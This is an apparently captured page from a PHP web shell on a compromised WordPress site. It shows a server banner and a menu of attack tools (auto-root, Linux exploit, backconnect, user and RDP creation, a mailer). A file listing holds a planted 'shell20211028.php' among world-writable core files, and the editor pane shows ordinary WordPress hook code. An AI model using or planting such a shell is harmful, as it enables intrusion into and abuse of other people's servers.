Linux webd132.cluster028.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.28.40.121 | : 18.191.238.22
Cant Read [ /etc/named.conf ]
7.4.33
binzoev
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
binzoev /
penisolasorrentinanews /
sdefae /
[ HOME SHELL ]
Name
Size
Permission
Action
ID3
[ DIR ]
drwxrwxrwx
IXR
[ DIR ]
drwxrwxrwx
PHPMailer
[ DIR ]
drwxrwxrwx
Requests
[ DIR ]
drwxrwxrwx
SimplePie
[ DIR ]
drwxrwxrwx
Text
[ DIR ]
drwxrwxrwx
assets
[ DIR ]
drwxrwxrwx
block-patterns
[ DIR ]
drwxrwxrwx
blocks
[ DIR ]
drwxrwxrwx
certificates
[ DIR ]
drwxrwxrwx
css
[ DIR ]
drwxrwxrwx
customize
[ DIR ]
drwxrwxrwx
fonts
[ DIR ]
drwxrwxrwx
images
[ DIR ]
drwxrwxrwx
js
[ DIR ]
drwxrwxrwx
pomo
[ DIR ]
drwxrwxrwx
random_compat
[ DIR ]
drwxrwxrwx
rest-api
[ DIR ]
drwxrwxrwx
sitemaps
[ DIR ]
drwxrwxrwx
sodium_compat
[ DIR ]
drwxrwxrwx
theme-compat
[ DIR ]
drwxrwxrwx
widgets
[ DIR ]
drwxrwxrwx
admin-bar.php
30.96
KB
-rwxrwxrwx
atomlib.php
11.59
KB
-rwxrwxrwx
author-template.php
16.62
KB
-rwxrwxrwx
block-patterns.php
1.42
KB
-rwxrwxrwx
blocks.php
25.26
KB
-rwxrwxrwx
bookmark-template.php
12.22
KB
-rwxrwxrwx
bookmark.php
14.79
KB
-rwxrwxrwx
cache-compat.php
1.02
KB
-rwxrwxrwx
cache.php
9.28
KB
-rwxrwxrwx
canonical.php
30.65
KB
-rwxrwxrwx
capabilities.php
33.98
KB
-rwxrwxrwx
category-template.php
53.63
KB
-rwxrwxrwx
category.php
12.41
KB
-rwxrwxrwx
class-IXR.php
2.48
KB
-rwxrwxrwx
class-feed.php
529
B
-rwxrwxrwx
class-http.php
38.79
KB
-rwxrwxrwx
class-json.php
42.43
KB
-rwxrwxrwx
class-oembed.php
407
B
-rwxrwxrwx
class-phpass.php
7.15
KB
-rwxrwxrwx
class-phpmailer.php
664
B
-rwxrwxrwx
class-pop3.php
20.35
KB
-rwxrwxrwx
class-requests.php
29.14
KB
-rwxrwxrwx
class-simplepie.php
94.01
KB
-rwxrwxrwx
class-smtp.php
452
B
-rwxrwxrwx
class-snoopy.php
36.83
KB
-rwxrwxrwx
class-walker-category-dropdown...
2.08
KB
-rwxrwxrwx
class-walker-category.php
7.69
KB
-rwxrwxrwx
class-walker-comment.php
13.37
KB
-rwxrwxrwx
class-walker-nav-menu.php
8.45
KB
-rwxrwxrwx
class-walker-page-dropdown.php
2.25
KB
-rwxrwxrwx
class-walker-page.php
6.88
KB
-rwxrwxrwx
class-wp-admin-bar.php
16.46
KB
-rwxrwxrwx
class-wp-ajax-response.php
5.12
KB
-rwxrwxrwx
class-wp-block-list.php
4.37
KB
-rwxrwxrwx
class-wp-block-parser.php
14.86
KB
-rwxrwxrwx
class-wp-block-pattern-categor...
4.08
KB
-rwxrwxrwx
class-wp-block-patterns-regist...
4.37
KB
-rwxrwxrwx
class-wp-block-styles-registry...
4.62
KB
-rwxrwxrwx
class-wp-block-type-registry.p...
4.69
KB
-rwxrwxrwx
class-wp-block-type.php
5.88
KB
-rwxrwxrwx
class-wp-block.php
5.97
KB
-rwxrwxrwx
class-wp-comment-query.php
43.58
KB
-rwxrwxrwx
class-wp-comment.php
8.83
KB
-rwxrwxrwx
class-wp-customize-control.php
24.91
KB
-rwxrwxrwx
class-wp-customize-manager.php
196.37
KB
-rwxrwxrwx
class-wp-customize-nav-menus.p...
55.47
KB
-rwxrwxrwx
class-wp-customize-panel.php
10.16
KB
-rwxrwxrwx
class-wp-customize-section.php
10.72
KB
-rwxrwxrwx
class-wp-customize-setting.php
29.03
KB
-rwxrwxrwx
class-wp-customize-widgets.php
65.46
KB
-rwxrwxrwx
class-wp-date-query.php
34.51
KB
-rwxrwxrwx
class-wp-dependency.php
2.45
KB
-rwxrwxrwx
class-wp-editor.php
68.93
KB
-rwxrwxrwx
class-wp-embed.php
15.42
KB
-rwxrwxrwx
class-wp-error.php
4.84
KB
-rwxrwxrwx
class-wp-fatal-error-handler.p...
7.37
KB
-rwxrwxrwx
class-wp-feed-cache-transient....
2.5
KB
-rwxrwxrwx
class-wp-feed-cache.php
749
B
-rwxrwxrwx
class-wp-hook.php
13.72
KB
-rwxrwxrwx
class-wp-http-cookie.php
7.02
KB
-rwxrwxrwx
class-wp-http-curl.php
12.06
KB
-rwxrwxrwx
class-wp-http-encoding.php
6.4
KB
-rwxrwxrwx
class-wp-http-ixr-client.php
3.39
KB
-rwxrwxrwx
class-wp-http-proxy.php
5.73
KB
-rwxrwxrwx
class-wp-http-requests-hooks.p...
1.92
KB
-rwxrwxrwx
class-wp-http-requests-respons...
4.24
KB
-rwxrwxrwx
class-wp-http-response.php
2.88
KB
-rwxrwxrwx
class-wp-http-streams.php
15.73
KB
-rwxrwxrwx
class-wp-image-editor-gd.php
13.81
KB
-rwxrwxrwx
class-wp-image-editor-imagick....
23.32
KB
-rwxrwxrwx
class-wp-image-editor.php
14.21
KB
-rwxrwxrwx
class-wp-list-util.php
6.46
KB
-rwxrwxrwx
class-wp-locale-switcher.php
4.9
KB
-rwxrwxrwx
class-wp-locale.php
13.59
KB
-rwxrwxrwx
class-wp-matchesmapregex.php
1.76
KB
-rwxrwxrwx
class-wp-meta-query.php
27.22
KB
-rwxrwxrwx
class-wp-metadata-lazyloader.p...
5.26
KB
-rwxrwxrwx
class-wp-network-query.php
17.94
KB
-rwxrwxrwx
class-wp-network.php
12.09
KB
-rwxrwxrwx
class-wp-object-cache.php
13.22
KB
-rwxrwxrwx
class-wp-oembed-controller.php
6.63
KB
-rwxrwxrwx
class-wp-oembed.php
28.31
KB
-rwxrwxrwx
class-wp-paused-extensions-sto...
4.81
KB
-rwxrwxrwx
class-wp-post-type.php
19.08
KB
-rwxrwxrwx
class-wp-post.php
6.29
KB
-rwxrwxrwx
class-wp-query.php
131.8
KB
-rwxrwxrwx
class-wp-recovery-mode-cookie-...
6.31
KB
-rwxrwxrwx
class-wp-recovery-mode-email-s...
9.89
KB
-rwxrwxrwx
class-wp-recovery-mode-key-ser...
4.17
KB
-rwxrwxrwx
class-wp-recovery-mode-link-se...
3.29
KB
-rwxrwxrwx
class-wp-recovery-mode.php
11.11
KB
-rwxrwxrwx
class-wp-rewrite.php
59.42
KB
-rwxrwxrwx
class-wp-role.php
2.44
KB
-rwxrwxrwx
class-wp-roles.php
8.23
KB
-rwxrwxrwx
class-wp-session-tokens.php
7.26
KB
-rwxrwxrwx
class-wp-simplepie-file.php
2.27
KB
-rwxrwxrwx
class-wp-simplepie-sanitize-ks...
1.73
KB
-rwxrwxrwx
class-wp-site-query.php
27.88
KB
-rwxrwxrwx
class-wp-site.php
7.19
KB
-rwxrwxrwx
class-wp-tax-query.php
18.98
KB
-rwxrwxrwx
class-wp-taxonomy.php
12.28
KB
-rwxrwxrwx
class-wp-term-query.php
35.32
KB
-rwxrwxrwx
class-wp-term.php
5.14
KB
-rwxrwxrwx
class-wp-text-diff-renderer-in...
716
B
-rwxrwxrwx
class-wp-text-diff-renderer-ta...
16.48
KB
-rwxrwxrwx
class-wp-theme.php
49.53
KB
-rwxrwxrwx
class-wp-user-meta-session-tok...
2.92
KB
-rwxrwxrwx
class-wp-user-query.php
30.62
KB
-rwxrwxrwx
class-wp-user-request.php
2.14
KB
-rwxrwxrwx
class-wp-user.php
21.63
KB
-rwxrwxrwx
class-wp-walker.php
12.42
KB
-rwxrwxrwx
class-wp-widget-factory.php
2.56
KB
-rwxrwxrwx
class-wp-widget.php
17.49
KB
-rwxrwxrwx
class-wp-xmlrpc-server.php
205.52
KB
-rwxrwxrwx
class-wp.php
24.45
KB
-rwxrwxrwx
class.wp-dependencies.php
12.57
KB
-rwxrwxrwx
class.wp-scripts.php
18.04
KB
-rwxrwxrwx
class.wp-styles.php
10.62
KB
-rwxrwxrwx
comment-template.php
91.85
KB
-rwxrwxrwx
comment.php
122.66
KB
-rwxrwxrwx
compat.php
11.46
KB
-rwxrwxrwx
cron.php
16.72
KB
-rwxrwxrwx
date.php
406
B
-rwxrwxrwx
default-constants.php
10.02
KB
-rwxrwxrwx
default-filters.php
26.14
KB
-rwxrwxrwx
default-widgets.php
2.07
KB
-rwxrwxrwx
deprecated.php
118.65
KB
-rwxrwxrwx
embed-template.php
341
B
-rwxrwxrwx
embed.php
46.43
KB
-rwxrwxrwx
error-protection.php
3.3
KB
-rwxrwxrwx
feed-atom-comments.php
5.32
KB
-rwxrwxrwx
feed-atom.php
3.03
KB
-rwxrwxrwx
feed-rdf.php
2.61
KB
-rwxrwxrwx
feed-rss.php
1.16
KB
-rwxrwxrwx
feed-rss2-comments.php
3.97
KB
-rwxrwxrwx
feed-rss2.php
3.71
KB
-rwxrwxrwx
feed.php
22.12
KB
-rwxrwxrwx
formatting.php
303.86
KB
-rwxrwxrwx
functions.php
255.24
KB
-rwxrwxrwx
functions.wp-scripts.php
13.07
KB
-rwxrwxrwx
functions.wp-styles.php
8.11
KB
-rwxrwxrwx
general-template.php
153.99
KB
-rwxrwxrwx
http.php
21.86
KB
-rwxrwxrwx
kses.php
61.88
KB
-rwxrwxrwx
l10n.php
55.25
KB
-rwxrwxrwx
link-template.php
141.46
KB
-rwxrwxrwx
load.php
46.03
KB
-rwxrwxrwx
locale.php
162
B
-rwxrwxrwx
media-template.php
57.29
KB
-rwxrwxrwx
media.php
158.53
KB
-rwxrwxrwx
meta.php
58.4
KB
-rwxrwxrwx
ms-blogs.php
24.58
KB
-rwxrwxrwx
ms-default-constants.php
4.6
KB
-rwxrwxrwx
ms-default-filters.php
6.34
KB
-rwxrwxrwx
ms-deprecated.php
20.63
KB
-rwxrwxrwx
ms-files.php
2.58
KB
-rwxrwxrwx
ms-functions.php
88.26
KB
-rwxrwxrwx
ms-load.php
19.36
KB
-rwxrwxrwx
ms-network.php
3.57
KB
-rwxrwxrwx
ms-settings.php
4.03
KB
-rwxrwxrwx
ms-site.php
42.51
KB
-rwxrwxrwx
nav-menu-template.php
22.75
KB
-rwxrwxrwx
nav-menu.php
42.42
KB
-rwxrwxrwx
option.php
72.65
KB
-rwxrwxrwx
pluggable-deprecated.php
6.12
KB
-rwxrwxrwx
pluggable.php
90.3
KB
-rwxrwxrwx
plugin.php
36.96
KB
-rwxrwxrwx
post-formats.php
6.91
KB
-rwxrwxrwx
post-template.php
62.05
KB
-rwxrwxrwx
post-thumbnail-template.php
9
KB
-rwxrwxrwx
post.php
245.87
KB
-rwxrwxrwx
query.php
37.02
KB
-rwxrwxrwx
registration-functions.php
202
B
-rwxrwxrwx
registration.php
202
B
-rwxrwxrwx
rest-api.php
65.77
KB
-rwxrwxrwx
revision.php
21.46
KB
-rwxrwxrwx
rewrite.php
17.65
KB
-rwxrwxrwx
rss-functions.php
211
B
-rwxrwxrwx
rss.php
22.44
KB
-rwxrwxrwx
script-loader.php
89.87
KB
-rwxrwxrwx
session.php
258
B
-rwxrwxrwx
shell20211028.php
38.32
KB
-rwxrwxrwx
shortcodes.php
20.91
KB
-rwxrwxrwx
sitemaps.php
3.16
KB
-rwxrwxrwx
spl-autoload-compat.php
443
B
-rwxrwxrwx
taxonomy.php
158.32
KB
-rwxrwxrwx
template-loader.php
3.05
KB
-rwxrwxrwx
template.php
22.68
KB
-rwxrwxrwx
theme.php
120.92
KB
-rwxrwxrwx
update.php
25.57
KB
-rwxrwxrwx
user.php
129.65
KB
-rwxrwxrwx
vars.php
5.68
KB
-rwxrwxrwx
version.php
767
B
-rwxrwxrwx
widgets.php
59.29
KB
-rwxrwxrwx
wlwmanifest.xml
1.02
KB
-rwxrwxrwx
wp-db.php
103.12
KB
-rwxrwxrwx
wp-diff.php
647
B
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-wp-hook.php
<?php /** * Plugin API: WP_Hook class * * @package WordPress * @subpackage Plugin * @since 4.7.0 */ /** * Core class used to implement action and filter hook functionality. * * @since 4.7.0 * * @see Iterator * @see ArrayAccess */ final class WP_Hook implements Iterator, ArrayAccess { /** * Hook callbacks. * * @since 4.7.0 * @var array */ public $callbacks = array(); /** * The priority keys of actively running iterations of a hook. * * @since 4.7.0 * @var array */ private $iterations = array(); /** * The current priority of actively running iterations of a hook. * * @since 4.7.0 * @var array */ private $current_priority = array(); /** * Number of levels this hook can be recursively called. * * @since 4.7.0 * @var int */ private $nesting_level = 0; /** * Flag for if we're current doing an action, rather than a filter. * * @since 4.7.0 * @var bool */ private $doing_action = false; /** * Hooks a function or method to a specific filter action. * * @since 4.7.0 * * @param string $tag The name of the filter to hook the $function_to_add callback to. * @param callable $function_to_add The callback to be run when the filter is applied. * @param int $priority The order in which the functions associated with a particular action * are executed. Lower numbers correspond with earlier execution, * and functions with the same priority are executed in the order * in which they were added to the action. * @param int $accepted_args The number of arguments the function accepts. */ public function add_filter( $tag, $function_to_add, $priority, $accepted_args ) { $idx = _wp_filter_build_unique_id( $tag, $function_to_add, $priority ); $priority_existed = isset( $this->callbacks[ $priority ] ); $this->callbacks[ $priority ][ $idx ] = array( 'function' => $function_to_add, 'accepted_args' => $accepted_args, ); // If we're adding a new priority to the list, put them back in sorted order. if ( ! $priority_existed && count( $this->callbacks ) > 1 ) { ksort( $this->callbacks, SORT_NUMERIC ); } if ( $this->nesting_level > 0 ) { $this->resort_active_iterations( $priority, $priority_existed ); } } /** * Handles resetting callback priority keys mid-iteration. * * @since 4.7.0 * * @param bool|int $new_priority Optional. The priority of the new filter being added. Default false, * for no priority being added. * @param bool $priority_existed Optional. Flag for whether the priority already existed before the new * filter was added. Default false. */ private function resort_active_iterations( $new_priority = false, $priority_existed = false ) { $new_priorities = array_keys( $this->callbacks ); // If there are no remaining hooks, clear out all running iterations. if ( ! $new_priorities ) { foreach ( $this->iterations as $index => $iteration ) { $this->iterations[ $index ] = $new_priorities; } return; } $min = min( $new_priorities ); foreach ( $this->iterations as $index => &$iteration ) { $current = current( $iteration ); // If we're already at the end of this iteration, just leave the array pointer where it is. if ( false === $current ) { continue; } $iteration = $new_priorities; if ( $current < $min ) { array_unshift( $iteration, $current ); continue; } while ( current( $iteration ) < $current ) { if ( false === next( $iteration ) ) { break; } } // If we have a new priority that didn't exist, but ::apply_filters() or ::do_action() thinks it's the current priority... if ( $new_priority === $this->current_priority[ $index ] && ! $priority_existed ) { /* * ...and the new priority is the same as what $this->iterations thinks is the previous * priority, we need to move back to it. */ if ( false === current( $iteration ) ) { // If we've already moved off the end of the array, go back to the last element. $prev = end( $iteration ); } else { // Otherwise, just go back to the previous element. $prev = prev( $iteration ); } if ( false === $prev ) { // Start of the array. Reset, and go about our day. reset( $iteration ); } elseif ( $new_priority !== $prev ) { // Previous wasn't the same. Move forward again. next( $iteration ); } } } unset( $iteration ); } /** * Unhooks a function or method from a specific filter action. * * @since 4.7.0 * * @param string $tag The filter hook to which the function to be removed is hooked. * @param callable $function_to_remove The callback to be removed from running when the filter is applied. * @param int $priority The exact priority used when adding the original filter callback. * @return bool Whether the callback existed before it was removed. */ public function remove_filter( $tag, $function_to_remove, $priority ) { $function_key = _wp_filter_build_unique_id( $tag, $function_to_remove, $priority ); $exists = isset( $this->callbacks[ $priority ][ $function_key ] ); if ( $exists ) { unset( $this->callbacks[ $priority ][ $function_key ] ); if ( ! $this->callbacks[ $priority ] ) { unset( $this->callbacks[ $priority ] ); if ( $this->nesting_level > 0 ) { $this->resort_active_iterations(); } } } return $exists; } /** * Checks if a specific action has been registered for this hook. * * @since 4.7.0 * * @param string $tag Optional. The name of the filter hook. Default empty. * @param callable|bool $function_to_check Optional. The callback to check for. Default false. * @return bool|int The priority of that hook is returned, or false if the function is not attached. */ public function has_filter( $tag = '', $function_to_check = false ) { if ( false === $function_to_check ) { return $this->has_filters(); } $function_key = _wp_filter_build_unique_id( $tag, $function_to_check, false ); if ( ! $function_key ) { return false; } foreach ( $this->callbacks as $priority => $callbacks ) { if ( isset( $callbacks[ $function_key ] ) ) { return $priority; } } return false; } /** * Checks if any callbacks have been registered for this hook. * * @since 4.7.0 * * @return bool True if callbacks have been registered for the current hook, otherwise false. */ public function has_filters() { foreach ( $this->callbacks as $callbacks ) { if ( $callbacks ) { return true; } } return false; } /** * Removes all callbacks from the current filter. * * @since 4.7.0 * * @param int|bool $priority Optional. The priority number to remove. Default false. */ public function remove_all_filters( $priority = false ) { if ( ! $this->callbacks ) { return; } if ( false === $priority ) { $this->callbacks = array(); } elseif ( isset( $this->callbacks[ $priority ] ) ) { unset( $this->callbacks[ $priority ] ); } if ( $this->nesting_level > 0 ) { $this->resort_active_iterations(); } } /** * Calls the callback functions that have been added to a filter hook. * * @since 4.7.0 * * @param mixed $value The value to filter. * @param array $args Additional parameters to pass to the callback functions. * This array is expected to include $value at index 0. * @return mixed The filtered value after all hooked functions are applied to it. */ public function apply_filters( $value, $args ) { if ( ! $this->callbacks ) { return $value; } $nesting_level = $this->nesting_level++; $this->iterations[ $nesting_level ] = array_keys( $this->callbacks ); $num_args = count( $args ); do { $this->current_priority[ $nesting_level ] = current( $this->iterations[ $nesting_level ] ); $priority = $this->current_priority[ $nesting_level ]; foreach ( $this->callbacks[ $priority ] as $the_ ) { if ( ! $this->doing_action ) { $args[0] = $value; } // Avoid the array_slice() if possible. if ( 0 == $the_['accepted_args'] ) { $value = call_user_func( $the_['function'] ); } elseif ( $the_['accepted_args'] >= $num_args ) { $value = call_user_func_array( $the_['function'], $args ); } else { $value = call_user_func_array( $the_['function'], array_slice( $args, 0, (int) $the_['accepted_args'] ) ); } } } while ( false !== next( $this->iterations[ $nesting_level ] ) ); unset( $this->iterations[ $nesting_level ] ); unset( $this->current_priority[ $nesting_level ] ); $this->nesting_level--; return $value; } /** * Calls the callback functions that have been added to an action hook. * * @since 4.7.0 * * @param array $args Parameters to pass to the callback functions. */ public function do_action( $args ) { $this->doing_action = true; $this->apply_filters( '', $args ); // If there are recursive calls to the current action, we haven't finished it until we get to the last one. if ( ! $this->nesting_level ) { $this->doing_action = false; } } /** * Processes the functions hooked into the 'all' hook. * * @since 4.7.0 * * @param array $args Arguments to pass to the hook callbacks. Passed by reference. */ public function do_all_hook( &$args ) { $nesting_level = $this->nesting_level++; $this->iterations[ $nesting_level ] = array_keys( $this->callbacks ); do { $priority = current( $this->iterations[ $nesting_level ] ); foreach ( $this->callbacks[ $priority ] as $the_ ) { call_user_func_array( $the_['function'], $args ); } } while ( false !== next( $this->iterations[ $nesting_level ] ) ); unset( $this->iterations[ $nesting_level ] ); $this->nesting_level--; } /** * Return the current priority level of the currently running iteration of the hook. * * @since 4.7.0 * * @return int|false If the hook is running, return the current priority level. If it isn't running, return false. */ public function current_priority() { if ( false === current( $this->iterations ) ) { return false; } return current( current( $this->iterations ) ); } /** * Normalizes filters set up before WordPress has initialized to WP_Hook objects. * * @since 4.7.0 * * @param array $filters Filters to normalize. * @return WP_Hook[] Array of normalized filters. */ public static function build_preinitialized_hooks( $filters ) { /** @var WP_Hook[] $normalized */ $normalized = array(); foreach ( $filters as $tag => $callback_groups ) { if ( is_object( $callback_groups ) && $callback_groups instanceof WP_Hook ) { $normalized[ $tag ] = $callback_groups; continue; } $hook = new WP_Hook(); // Loop through callback groups. foreach ( $callback_groups as $priority => $callbacks ) { // Loop through callbacks. foreach ( $callbacks as $cb ) { $hook->add_filter( $tag, $cb['function'], $priority, $cb['accepted_args'] ); } } $normalized[ $tag ] = $hook; } return $normalized; } /** * Determines whether an offset value exists. * * @since 4.7.0 * * @link https://www.php.net/manual/en/arrayaccess.offsetexists.php * * @param mixed $offset An offset to check for. * @return bool True if the offset exists, false otherwise. */ public function offsetExists( $offset ) { return isset( $this->callbacks[ $offset ] ); } /** * Retrieves a value at a specified offset. * * @since 4.7.0 * * @link https://www.php.net/manual/en/arrayaccess.offsetget.php * * @param mixed $offset The offset to retrieve. * @return mixed If set, the value at the specified offset, null otherwise. */ public function offsetGet( $offset ) { return isset( $this->callbacks[ $offset ] ) ? $this->callbacks[ $offset ] : null; } /** * Sets a value at a specified offset. * * @since 4.7.0 * * @link https://www.php.net/manual/en/arrayaccess.offsetset.php * * @param mixed $offset The offset to assign the value to. * @param mixed $value The value to set. */ public function offsetSet( $offset, $value ) { if ( is_null( $offset ) ) { $this->callbacks[] = $value; } else { $this->callbacks[ $offset ] = $value; } } /** * Unsets a specified offset. * * @since 4.7.0 * * @link https://www.php.net/manual/en/arrayaccess.offsetunset.php * * @param mixed $offset The offset to unset. */ public function offsetUnset( $offset ) { unset( $this->callbacks[ $offset ] ); } /** * Returns the current element. * * @since 4.7.0 * * @link https://www.php.net/manual/en/iterator.current.php * * @return array Of callbacks at current priority. */ public function current() { return current( $this->callbacks ); } /** * Moves forward to the next element. * * @since 4.7.0 * * @link https://www.php.net/manual/en/iterator.next.php * * @return array Of callbacks at next priority. */ public function next() { return next( $this->callbacks ); } /** * Returns the key of the current element. * * @since 4.7.0 * * @link https://www.php.net/manual/en/iterator.key.php * * @return mixed Returns current priority on success, or NULL on failure */ public function key() { return key( $this->callbacks ); } /** * Checks if current position is valid. * * @since 4.7.0 * * @link https://www.php.net/manual/en/iterator.valid.php * * @return boolean */ public function valid() { return key( $this->callbacks ) !== null; } /** * Rewinds the Iterator to the first element. * * @since 4.7.0 * * @link https://www.php.net/manual/en/iterator.rewind.php */ public function rewind() { reset( $this->callbacks ); } }
Close